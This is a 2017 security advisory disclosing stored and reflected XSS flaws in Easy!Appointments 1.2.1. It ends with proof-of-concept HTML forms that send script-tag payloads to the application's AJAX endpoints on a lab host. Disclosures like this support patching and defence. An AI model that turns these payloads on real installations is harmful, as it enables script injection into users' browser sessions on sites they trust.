Easy!Appointments 1.2.1 Cross Site Scripting
Posted on 29 December 2017
Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities Vendor: Alex Tselegidis Product web page: http://www.easyappointments.org Affected version: 1.2.1 Summary: Easy!Appointments is a highly customizable web application that allows your customers to book appointments with you via the web. Moreover, it provides the ability to sync your data with Google Calendar so you can use them with other services. It is an open source project and you can download and install it even for commercial use. Easy!Appointments will run smoothly with your existing website, because it can be installed in a single folder of the server and of course, both sites can share the same database. Learn more about the project in the Features page. Desc: The application suffers from multiple stored and reflected XSS vulnerabilities. The issues are triggered when an unauthorized input passed via multiple POST and GET parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache/2.4.23 (Win32) OpenSSL/1.0.2h MariaDB-10.1.19 PHP/5.6.28 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5442 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php 20.10.2017 -- PoC: {"name":"XSS1","description":"Description"} <html> <body> <form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST"> <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" /> <input type="hidden" name="category" value="{"name":"XSS1","description":"Description"}" /> <input type="submit" value="Submit request" /> </form> </body> </html> --- <html> <body> <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST"> <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" /> <input type="hidden" name="service_id" value='"><script>alert(2)</script>' /> <input type="hidden" name="provider_id" value="85" /> <input type="hidden" name="selected_date" value="2017-11-30" /> <input type="hidden" name="service_duration" value="30" /> <input type="hidden" name="manage_mode" value="false" /> <input type="submit" value="Submit request" /> </form> </body> </html> --- <html> <body> <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST"> <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" /> <input type="hidden" name="service_id" value="13" /> <input type="hidden" name="provider_id" value="85" /> <input type="hidden" name="selected_date" value="<marquee>" /> <input type="hidden" name="service_duration" value="30" /> <input type="hidden" name="manage_mode" value="false" /> <input type="submit" value="Submit request" /> </form> </body> </html> --- <html> <body> <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST"> <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" /> <input type="hidden" name="post_data[customer][last_name]" value="sdadsd" /> <input type="hidden" name="post_data[customer][first_name]" value="asdasd" /> <input type="hidden" name="post_data[customer][email]" value="asdasd@bbb.dd" /> <input type="hidden" name="post_data[customer][phone_number]" value="1112223333" /> <input type="hidden" name="post_data[customer][address]" value="" /> <input type="hidden" name="post_data[customer][city]" value="" /> <input type="hidden" name="post_data[customer][zip_code]" value="" /> <input type="hidden" name="post_data[appointment][start_datetime]" value=""><script>alert(3)</script>" /> <input type="hidden" name="post_data[appointment][end_datetime]" value="2017-11-30 16:00:00" /> <input type="hidden" name="post_data[appointment][notes]" value="" /> <input type="hidden" name="post_data[appointment][is_unavailable]" value="false" /> <input type="hidden" name="post_data[appointment][id_users_provider]" value="85" /> <input type="hidden" name="post_data[appointment][id_services]" value="13" /> <input type="hidden" name="post_data[manage_mode]" value="false" /> <input type="submit" value="Submit request" /> </form> </body> </html>
